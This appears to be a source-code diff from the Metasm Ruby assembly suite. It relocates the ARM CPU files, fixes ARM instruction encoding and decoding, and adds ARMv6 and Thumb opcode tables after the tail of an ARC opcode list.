addop16 'and_s', 0x7804, :cb, :cb2, :cc
|
||||
addop16 'asl_s', 0x7818, :cb, :cb2, :cc
|
||||
addop16 'asl_s', 0x6810, :cc, :cb, :cu3
|
||||
addop16 'asl_s', 0xb800, :cb, :cb2, :cu5
|
||||
addop16 'asl_s', 0x781b, :cb, :cc
|
||||
addop16 'asr_s', 0x781a, :cb, :cb2, :cc
|
||||
addop16 'asr_s', 0x6818, :cc, :cb, :cu3
|
||||
addop16 'asr_s', 0xb840, :cb, :cb2, :cu5
|
||||
addop16 'asr_s', 0x781c, :cb, :cc
|
||||
addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec
|
||||
addop16 'beq_s', 0xf200, :cdisps10, :setip
|
||||
addop16 'bne_s', 0xf400, :cdisps10, :setip
|
||||
addop16 'bgt_s', 0xf600, :cdisps7, :setip
|
||||
addop16 'bge_s', 0xf640, :cdisps7, :setip
|
||||
addop16 'blt_s', 0xf680, :cdisps7, :setip
|
||||
addop16 'ble_s', 0xf6c0, :cdisps7, :setip
|
||||
addop16 'bhi_s', 0xf700, :cdisps7, :setip
|
||||
addop16 'bhs_s', 0xf740, :cdisps7, :setip
|
||||
addop16 'blo_s', 0xf780, :cdisps7, :setip
|
||||
addop16 'bls_s', 0xf7c0, :cdisps7, :setip
|
||||
addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5
|
||||
addop16 'bic_s', 0x7806, :cb, :cb2, :cc
|
||||
addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec
|
||||
addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5
|
||||
addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip
|
||||
addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip
|
||||
addop16 'brk_s', 0x7fff
|
||||
addop16 'bset_s', 0xb880, :cb, :cb2, :cu5
|
||||
addop16 'btst_s', 0xb8e0, :cb, :cu5
|
||||
addop16 'cmp_s', 0x7010, :cb, :ch
|
||||
addop16 'cmp_s', 0xe080, :cb, :cu7
|
||||
|
||||
# encoded over cmp_s b,h
|
||||
# addop16 'cmp_s', 0x70d7, :cb, :limm
|
||||
|
||||
addop16 'extb_s', 0x780f, :cb, :cc
|
||||
addop16 'extw_s', 0x7810, :cb, :cc
|
||||
addop16 'j_s', 0x7800, :@cb, :setip, :stopexec
|
||||
addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot
|
||||
addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec
|
||||
addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot
|
||||
addop16 'jeq_s', 0x7ce0, :@blink, :setip
|
||||
addop16 'jne_s', 0x7de0, :@blink, :setip
|
||||
addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec
|
||||
addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot
|
||||
addop16 'ld_s', 0x6000, :ca, :@cbcc
|
||||
addop16 'ldb_s', 0x6008, :ca, :@cbcc
|
||||
addop16 'ldw_s', 0x6010, :ca, :@cbcc
|
||||
addop16 'ld_s', 0x8000, :cc, :@cbu7
|
||||
addop16 'ldb_s', 0x8800, :cc, :@cbu5
|
||||
addop16 'ldw_s', 0x9000, :cc, :@cbu6
|
||||
addop16 'ldw_s.x', 0x9800, :cc, :@cbu6
|
||||
addop16 'ld_s', 0xc000, :cb, :@cspu7
|
||||
addop16 'ldb_s', 0xc020, :cb, :@cspu7
|
||||
addop16 'ld_s', 0xc800, :cr0, :@gps11
|
||||
addop16 'ldb_s', 0xca00, :cr0, :@gps9
|
||||
addop16 'ldw_s', 0xcc00, :cr0, :@gps10
|
||||
addop16 'ld_s', 0xd000, :cb, :@pclu10
|
||||
|
||||
# FIXME: exact same encoding as asl_s instructions
|
||||
#addop16 'lsl_s', 0x7818, :cb, :cb2, :cc
|
||||
#addop16 'lsl_s', 0x6810, :cc, :cb, :cu3
|
||||
#addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5
|
||||
#addop16 'lsl_s', 0x781d, :cb, :cc
|
||||
|
||||
addop16 'lsr_s', 0x7819, :cb, :cb2, :cc
|
||||
addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5
|
||||
addop16 'lsr_s', 0x781d, :cb, :cc
|
||||
addop16 'mov_s', 0x7008, :cb, :ch
|
||||
|
||||
# FIXME: same encoding as previous instruction
|
||||
#addop16 'mov_s', 0x70cf, :cb, :limm
|
||||
|
||||
addop16 'mov_s', 0xd800, :cb, :cu8
|
||||
addop16 'mov_s', 0x7018, :ch, :cb
|
||||
|
||||
# TODO seems to overlap with previous instruction
|
||||
addop16 'mov_s', 0x70df, :zero, :cb
|
||||
addop16 'mul64_s', 0x780c, :zero, :cb, :cc
|
||||
addop16 'neg_s', 0x7813, :cb, :cc
|
||||
addop16 'not_s', 0x7812, :cb, :cc
|
||||
addop16 'nop_s',0x78e0
|
||||
addop16 'unimp_s', 0x79e0
|
||||
addop16 'or_s', 0x7805, :cb, :cb2, :cc
|
||||
addop16 'pop_s', 0xc0c1, :cb
|
||||
addop16 'pop_s', 0xc0d1, :blink
|
||||
addop16 'push_s', 0xc0e1, :cb
|
||||
addop16 'push_s', 0xc0f1, :blink
|
||||
addop16 'sexb_s', 0x780d, :cb, :cc
|
||||
addop16 'sexw_s', 0x780e, :cb, :cc
|
||||
addop16 'st_s', 0xc040, :cb, :@cspu7
|
||||
addop16 'stb_s', 0xc060, :cb, :@cspu7
|
||||
addop16 'st_s', 0xa000, :cc, :@cbu7
|
||||
addop16 'stb_s', 0xa800, :cc, :@cbu5
|
||||
addop16 'stw_s', 0xb000, :cc, :@cbu6
|
||||
addop16 'sub_s', 0x7802, :cb, :cb2, :cc
|
||||
addop16 'sub_s', 0x6808, :cc, :cb, :cu3
|
||||
addop16 'sub_s', 0xb860, :cb, :cb2, :cu5
|
||||
addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee
|
||||
addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3
|
||||
addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec
|
||||
addop16 'tst_s', 0x780b, :cb, :cc
|
||||
addop16 'xor_s', 0x7807, :cb, :cb2, :cc
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -3,10 +3,12 @@
|
|||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
class Metasm::ARM < Metasm::CPU
|
||||
end
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/arm/parse'
|
||||
require 'metasm/arm/encode'
|
||||
require 'metasm/arm/decode'
|
||||
require 'metasm/arm/render'
|
||||
require 'metasm/arm/debug'
|
||||
require 'metasm/cpu/arm/parse'
|
||||
require 'metasm/cpu/arm/encode'
|
||||
require 'metasm/cpu/arm/decode'
|
||||
require 'metasm/cpu/arm/render'
|
||||
require 'metasm/cpu/arm/debug'
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/arm/opcodes'
|
||||
require 'metasm/cpu/arm/opcodes'
|
||||
|
||||
module Metasm
|
||||
class ARM
|
||||
|
@ -15,7 +15,7 @@ class ARM
|
|||
@dbg_register_flags ||= :flags
|
||||
end
|
||||
|
||||
def dbg_register_list
|
||||
def dbg_register_list
|
||||
@dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc]
|
||||
end
|
||||
|
|
@ -3,7 +3,7 @@
|
|||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/arm/opcodes'
|
||||
require 'metasm/cpu/arm/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
|
@ -38,7 +38,7 @@ class ARM
|
|||
end
|
||||
|
||||
def decode_findopcode(edata)
|
||||
return if edata.ptr >= edata.data.length
|
||||
return if edata.ptr+4 > edata.length
|
||||
di = DecodedInstruction.new(self)
|
||||
val = edata.decode_imm(:u32, @endianness)
|
||||
di.instance_variable_set('@raw', val)
|
||||
|
@ -58,11 +58,11 @@ class ARM
|
|||
op = di.opcode
|
||||
di.instruction.opname = op.name
|
||||
val = di.instance_variable_get('@raw')
|
||||
|
||||
|
||||
field_val = lambda { |f|
|
||||
r = (val >> @fields_shift[f]) & @fields_mask[f]
|
||||
case f
|
||||
when :i16; Expression.make_signed(r, 16)
|
||||
when :i12; Expression.make_signed(r, 12)
|
||||
when :i24; Expression.make_signed(r, 24)
|
||||
when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf)
|
||||
when :stype; [:lsl, :lsr, :asr, :ror][r]
|
||||
|
@ -88,7 +88,8 @@ class ARM
|
|||
di.instruction.args << case a
|
||||
when :rd, :rn, :rm; Reg.new field_val[a]
|
||||
when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs])
|
||||
when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2
|
||||
when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]
|
||||
when :i12; Expression[field_val[a]]
|
||||
when :i24; Expression[field_val[a] << 2]
|
||||
when :i8_r
|
||||
i = field_val[:i8]
|
||||
|
@ -99,14 +100,14 @@ class ARM
|
|||
o = case a
|
||||
when :mem_rn_rm; Reg.new(field_val[:rm])
|
||||
when :mem_rn_i8_12; field_val[:i8_12]
|
||||
when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2)
|
||||
when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti])
|
||||
when :mem_rn_i12; field_val[:i12]
|
||||
end
|
||||
Memref.new(b, o, field_val[:u], op.props[:baseincr])
|
||||
when :reglist
|
||||
di.instruction.args.last.updated = true if op.props[:baseincr]
|
||||
msk = field_val[a]
|
||||
l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact)
|
||||
l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact)
|
||||
l.usermoderegs = true if op.props[:usermoderegs]
|
||||
l
|
||||
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
|
||||
|
@ -118,7 +119,7 @@ class ARM
|
|||
end
|
||||
|
||||
def decode_instr_interpret(di, addr)
|
||||
if di.opcode.args.include? :i24
|
||||
if di.opcode.args[-1] == :i24
|
||||
di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8]
|
||||
end
|
||||
di
|
||||
|
@ -127,7 +128,7 @@ class ARM
|
|||
def backtrace_binding
|
||||
@backtrace_binding ||= init_backtrace_binding
|
||||
end
|
||||
|
||||
|
||||
def init_backtrace_binding
|
||||
@backtrace_binding ||= {}
|
||||
end
|
||||
|
@ -140,9 +141,9 @@ class ARM
|
|||
else arg
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
if binding = backtrace_binding[di.opcode.name]
|
||||
bd = binding[di, *a]
|
||||
binding[di, *a]
|
||||
else
|
||||
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
|
||||
# assume nothing except the 1st arg is modified
|
||||
|
@ -154,7 +155,7 @@ class ARM
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
if di.opcode.props[:setip]
|
||||
[di.instruction.args.last]
|
|
@ -4,15 +4,15 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/arm/opcodes'
|
||||
require 'metasm/cpu/arm/opcodes'
|
||||
require 'metasm/encode'
|
||||
|
||||
module Metasm
|
||||
class ARM
|
||||
def encode_instr_op(section, instr, op)
|
||||
def encode_instr_op(program, instr, op)
|
||||
base = op.bin
|
||||
set_field = lambda { |f, v|
|
||||
v = v.reduce if v.kind_of? Expression
|
||||
v = v.reduce if v.kind_of?(Expression)
|
||||
case f
|
||||
when :i8_12
|
||||
base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]]
|
||||
|
@ -42,7 +42,7 @@ class ARM
|
|||
when :rm_is
|
||||
set_field[:rm, arg.i]
|
||||
set_field[:stype, arg.stype]
|
||||
set_field[:shifti, arg.shift/2]
|
||||
set_field[:shifti, arg.shift]
|
||||
when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12
|
||||
set_field[:rn, arg.base.i]
|
||||
case sym
|
||||
|
@ -61,17 +61,32 @@ class ARM
|
|||
when :reglist
|
||||
set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }]
|
||||
when :i8_r
|
||||
# XXX doublecheck this
|
||||
b = arg.reduce & 0xffffffff
|
||||
r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) }
|
||||
r = (0..15).find {
|
||||
next true if b < 0x100
|
||||
b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3)
|
||||
false
|
||||
}
|
||||
raise EncodeError, "Invalid constant" if not r
|
||||
set_field[:i8, b]
|
||||
set_field[:rotate, r]
|
||||
when :i16, :i24
|
||||
when :i12, :i24
|
||||
val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym]
|
||||
end
|
||||
}
|
||||
|
||||
Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
|
||||
if op.args[-1] == :i24
|
||||
# convert label name for branch to relative offset
|
||||
label = program.new_label('l_'+op.name)
|
||||
target = val
|
||||
target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr
|
||||
val = Expression[[target, :-, [label, :+, 8]], :>>, 2]
|
||||
|
||||
EncodedData.new('', :export => { label => 0 }) <<
|
||||
Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
|
||||
else
|
||||
Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -68,8 +68,5 @@ class ARM < CPU
|
|||
@opcode_list
|
||||
end
|
||||
end
|
||||
|
||||
class ARM_THUMB < ARM
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,323 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/cpu/arm/main'
|
||||
|
||||
module Metasm
|
||||
class ARM
|
||||
private
|
||||
|
||||
# ARM MODE
|
||||
|
||||
def addop(name, bin, *args)
|
||||
args << :cond if not args.delete :uncond
|
||||
|
||||
suppl = nil
|
||||
o = Opcode.new name, bin
|
||||
args.each { |a|
|
||||
# Should Be One fields
|
||||
if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end
|
||||
if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end
|
||||
if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end
|
||||
if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end
|
||||
|
||||
o.args << a if @valid_args[a]
|
||||
o.props[a] = true if @valid_props[a]
|
||||
o.props.update a if a.kind_of?(Hash)
|
||||
# special args -> multiple fields
|
||||
suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti],
|
||||
:rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u],
|
||||
:mem_rn_i8_12 => [:rn, :i8_12, :u],
|
||||
:mem_rn_rms => [:rn, :rm, :stype, :shifti, :i],
|
||||
:mem_rn_i12 => [:rn, :i12, :u]
|
||||
}[a]
|
||||
}
|
||||
|
||||
args.concat suppl if suppl
|
||||
|
||||
args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] }
|
||||
|
||||
@opcode_list << o
|
||||
end
|
||||
|
||||
def addop_data_s(name, op, a1, a2, *h)
|
||||
addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h
|
||||
addop name, op, a1, a2, :rm_is, *h
|
||||
addop name, op | (1 << 4), a1, a2, :rm_rs, *h
|
||||
end
|
||||
def addop_data(name, op, a1, a2)
|
||||
addop_data_s name, op << 21, a1, a2
|
||||
addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length
|
||||
end
|
||||
|
||||
def addop_load_puw(name, op, *a)
|
||||
addop name, op, {:baseincr => :post}, :rd, :u, *a
|
||||
addop name, op | (1 << 24), :rd, :u, *a
|
||||
addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a
|
||||
end
|
||||
def addop_load_lsh_o(name, op)
|
||||
addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3}
|
||||
addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3}
|
||||
end
|
||||
def addop_load_lsh
|
||||
op = 9 << 4
|
||||
addop_load_lsh_o 'strh', op | (1 << 5)
|
||||
addop_load_lsh_o 'ldrd', op | (1 << 6)
|
||||
addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5)
|
||||
addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5)
|
||||
addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6)
|
||||
addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5)
|
||||
end
|
||||
|
||||
def addop_load_puwt(name, op, *a)
|
||||
addop_load_puw name, op, *a
|
||||
addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a
|
||||
end
|
||||
def addop_load_o(name, op, *a)
|
||||
addop_load_puwt name, op, :mem_rn_i12, *a
|
||||
addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a
|
||||
end
|
||||
def addop_load(name, op)
|
||||
addop_load_o name, op
|
||||
addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length
|
||||
end
|
||||
|
||||
def addop_ldm_go(name, op, *a)
|
||||
addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a
|
||||
end
|
||||
def addop_ldm_w(name, op, *a)
|
||||
addop_ldm_go name, op, *a # base reg untouched
|
||||
addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated
|
||||
end
|
||||
def addop_ldm_s(name, op)
|
||||
addop_ldm_w name, op # transfer regs
|
||||
addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs
|
||||
end
|
||||
def addop_ldm_p(name, op)
|
||||
addop_ldm_s name+'a', op # target memory included
|
||||
addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr
|
||||
end
|
||||
def addop_ldm_u(name, op)
|
||||
addop_ldm_p name+'d', op # transfer made downward
|
||||
addop_ldm_p name+'i', op | (1 << 23) # transfer made upward
|
||||
end
|
||||
def addop_ldm(name, op)
|
||||
addop_ldm_u name, op
|
||||
end
|
||||
|
||||
# ARMv6 instruction set, aka arm7/arm9
|
||||
def init_arm_v6
|
||||
@opcode_list = []
|
||||
|
||||
[:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle
|
||||
].each { |p| @valid_props[p] = true }
|
||||
|
||||
[:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is,
|
||||
:i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12
|
||||
].each { |p| @valid_args[p] = true }
|
||||
|
||||
@fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf,
|
||||
:crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf,
|
||||
:rnx => 0xf, :rdx => 0xf, :rsx => 0xf,
|
||||
:shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff,
|
||||
:i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f,
|
||||
:u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf
|
||||
|
||||
@fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0,
|
||||
:crn => 16, :crd => 12, :crm => 0, :cpn => 8,
|
||||
:rnx => 16, :rdx => 12, :rsx => 8,
|
||||
:shifti => 7, :stype => 5, :rotate => 8, :reglist => 0,
|
||||
:i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0,
|
||||
:u => 23, :mask => 16, :sbo => 12, :cond => 28
|
||||
|
||||
addop_data 'and', 0, :rd, :rn
|
||||
addop_data 'eor', 1, :rd, :rn
|
||||
addop_data 'xor', 1, :rd, :rn
|
||||
addop_data 'sub', 2, :rd, :rn
|
||||
addop_data 'rsb', 3, :rd, :rn
|
||||
addop_data 'add', 4, :rd, :rn
|
||||
addop_data 'adc', 5, :rd, :rn
|
||||
addop_data 'sbc', 6, :rd, :rn
|
||||
addop_data 'rsc', 7, :rd, :rn
|
||||
addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn
|
||||
addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn
|
||||
addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn
|
||||
addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn
|
||||
addop_data 'orr', 12, :rd, :rn
|
||||
addop_data 'or', 12, :rd, :rn
|
||||
addop_data 'mov', 13, :rd, :rnx
|
||||
addop_data 'bic', 14, :rd, :rn
|
||||
addop_data 'mvn', 15, :rd, :rnx
|
||||
|
||||
addop 'b', 0b1010 << 24, :setip, :stopexec, :i24
|
||||
addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip
|
||||
addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef
|
||||
addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24
|
||||
addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8
|
||||
addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8
|
||||
addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8
|
||||
|
||||
addop_load 'str', (1 << 26)
|
||||
addop_load 'ldr', (1 << 26) | (1 << 20)
|
||||
addop_load_lsh
|
||||
addop_ldm 'stm', (1 << 27)
|
||||
addop_ldm 'ldm', (1 << 27) | (1 << 20)
|
||||
# TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html)
|
||||
# fd = full descending stmfd/ldmfd = stmdb/ldmia
|
||||
# ed = empty descending stmed/ldmed = stmda/ldmib
|
||||
# fa = full ascending stmfa/ldmfa = stmib/ldmda
|
||||
# ea = empty ascending stmea/ldmea = stmia/ldmdb
|
||||
|
||||
# TODO mrs, [qus]add/sub*
|
||||
addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8
|
||||
addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0
|
||||
addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8
|
||||
addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8
|
||||
addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8
|
||||
addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8
|
||||
addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
# THUMB2 MODE
|
||||
|
||||
def addop_t(name, bin, *args)
|
||||
o = Opcode.new name, bin
|
||||
args.each { |a|
|
||||
o.args << a if @valid_args[a]
|
||||
o.props[a] = true if @valid_props[a]
|
||||
o.props.update a if a.kind_of?(Hash)
|
||||
}
|
||||
|
||||
args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] }
|
||||
|
||||
@opcode_list_t << o
|
||||
end
|
||||
|
||||
def init_arm_thumb2
|
||||
@opcode_list_t = []
|
||||
@valid_props_t = {}
|
||||
@valid_args_t = {}
|
||||
@fields_mask_t = {}
|
||||
@fields_shift_t = {}
|
||||
|
||||
[:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true }
|
||||
[:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true }
|
||||
@fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f,
|
||||
:rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7
|
||||
@fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3,
|
||||
:rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8
|
||||
|
||||
addop_t 'mov', 0b000_00 << 11, :rd, :rm
|
||||
addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5
|
||||
addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5
|
||||
addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5
|
||||
|
||||
addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm
|
||||
addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3
|
||||
addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm
|
||||
addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3
|
||||
|
||||
addop_t 'mov', 0b001_00 << 10, :rdn8, :i8
|
||||
addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8
|
||||
addop_t 'add', 0b001_10 << 10, :rdn8, :i8
|
||||
addop_t 'sub', 0b001_11 << 10, :rdn8, :i8
|
||||
|
||||
addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm
|
||||
addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor
|
||||
addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm
|
||||
addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm
|
||||
addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm
|
||||
addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm
|
||||
addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm
|
||||
addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm
|
||||
addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm
|
||||
addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm
|
||||
addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm
|
||||
addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm
|
||||
addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or
|
||||
addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm
|
||||
addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm
|
||||
addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm
|
||||
|
||||
addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn
|
||||
addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn
|
||||
addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn
|
||||
|
||||
addop_t 'bx', 0b010001_110 << 7, :rm
|
||||
addop_t 'blx', 0b010001_111 << 7, :rm
|
||||
|
||||
addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8
|
||||
addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm
|
||||
addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm
|
||||
addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm
|
||||
addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm
|
||||
addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm
|
||||
addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm
|
||||
addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm
|
||||
addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm
|
||||
|
||||
addop_t 'str', 0b01100 << 11, :rd, :rn, :i5
|
||||
addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5
|
||||
addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5
|
||||
addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5
|
||||
addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5
|
||||
addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5
|
||||
addop_t 'str', 0b10010 << 11, :rd, :sp_i8
|
||||
addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8
|
||||
addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8
|
||||
addop_t 'add', 0b10101 << 11, :rd, :sp, :i8
|
||||
|
||||
# 0b1011 misc
|
||||
addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7
|
||||
addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7
|
||||
addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn
|
||||
addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn
|
||||
addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn
|
||||
addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn
|
||||
addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51
|
||||
addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51
|
||||
